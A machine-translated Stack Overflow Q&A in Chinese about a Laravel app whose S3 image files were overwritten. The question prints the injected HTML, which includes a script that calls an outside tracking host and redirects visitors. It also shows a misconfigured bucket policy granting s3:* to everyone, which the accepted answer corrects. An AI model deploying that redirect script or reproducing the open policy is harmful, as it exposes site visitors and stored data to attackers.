首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >s3图片-我的s3桶被黑了吗?

s3图片-我的s3桶被黑了吗?
EN

Stack Overflow用户
提问于 2020-04-08 01:15:18
回答 2查看 352关注 0票数 0

我平台的用户可以上传他们的头像,但是他们需要在我的Laravel后端要求一个签名的url。

这是控制器

代码语言:javascript
运行
复制
public function avatarUploadSigner(Request $request)
{
    return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}

在这里,获得一个签名的s3来上传图像的函数

代码语言:javascript
运行
复制
function s3_signedUrl($path, $expireOnMinutes = 120) {
    if(!$path) {
        return ['error' => 'filename missing'];
    }

    $s3 = Storage::disk('s3');
    $adapter = $s3->getDriver()->getAdapter();
    $client = $adapter->getClient();
    $mime = \League\Flysystem\Util\MimeType::detectByFilename($path);

    try {
        $command = $client->getCommand('PutObject', array(
            'Bucket' => $adapter->getBucket(),
            'Key' => $path,
            'ContentType' => $mime,
            'use_accelerate_endpoint' => true
        ));

        $signedUrl = $client->createPresignedRequest(
            $command,
            "+$expireOnMinutes minutes"
        );
        $signedUrl = $signedUrl->getUri()->__toString();
    } catch (S3Exception $e) {
        return ['error' => $e->getMessage()];
    }

    return $signedUrl;
}

一周前,一些图像转到了这样的html文件:

代码语言:javascript
运行
复制
<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;type=content-script&amp;dmn=myghostmarket.s3.eu-west-1.amazonaws.com&amp;css=1&amp;js=1&amp;gcss=1&amp;rel=0&amp;rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;name=AdGuard%20Assistant&amp;name=AdGuard%20Extra&amp;type=user-script"></script><script>
    var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>

但最近不仅化身,现在有其他的图像,如页眉,页脚,等等,无法改变签名的网址。

我有这个水桶政策

代码语言:javascript
运行
复制
    "Version": "2008-10-17",
    "Statement": [
        {
            "Sid": "AllowPublicRead",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:*",
            "Resource": [
               "arn:aws:s3:::_____MY_DOMAIN_NAME_____/audio/*",
               "arn:aws:s3:::_____MY_DOMAIN_NAME_____/img/*",
            ]
        }
    ]
}

音频和img文件夹是可读的,但没有签名的url是不可写的,对吗?我还有另外一个更重要的私人文件夹。

他们有危险吗?我的密码怎么了?我的s3桶被黑了吗?

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2020-04-08 06:16:32

你的桶政策是:

任何AWS credentials

  • Can只对imgaudio目录中的对象进行

  • 的S3 API调用(

)

这意味着我可以使用AWS凭据来读取、上传和删除桶中的对象。同样,它也将解释为什么对象被外部方上传/修改。

如果您的目的是使使对象公开可读的,则应该使用s3:GetObject

代码语言:javascript
运行
复制
{
  "Version":"2012-10-17",
  "Statement":[
    {
      "Sid":"PublicRead",
      "Effect":"Allow",
      "Principal": "*",
      "Action":"s3:GetObject",
      "Resource":[
        "arn:aws:s3:::examplebucket/audio/*",
        "arn:aws:s3:::examplebucket/img/*",
      ]
    }
  ]
}
票数 1
EN

Stack Overflow用户

发布于 2020-04-08 01:58:48

detectByFilename是检查mime类型的最差方法。

/home/test/myfile.html.jpg将返回jpg,即使它不是合法的jpg文件。相反,您应该使用\finfo(FILEINFO_MIME)并读取文件流以获得mime类型。

这是否是一个重要的问题,这取决于你是如何嵌入你的图像后,上传。如果您要将原始文件数据嵌入到您的页面中,这将打开您的CSRF攻击。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/61091863

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档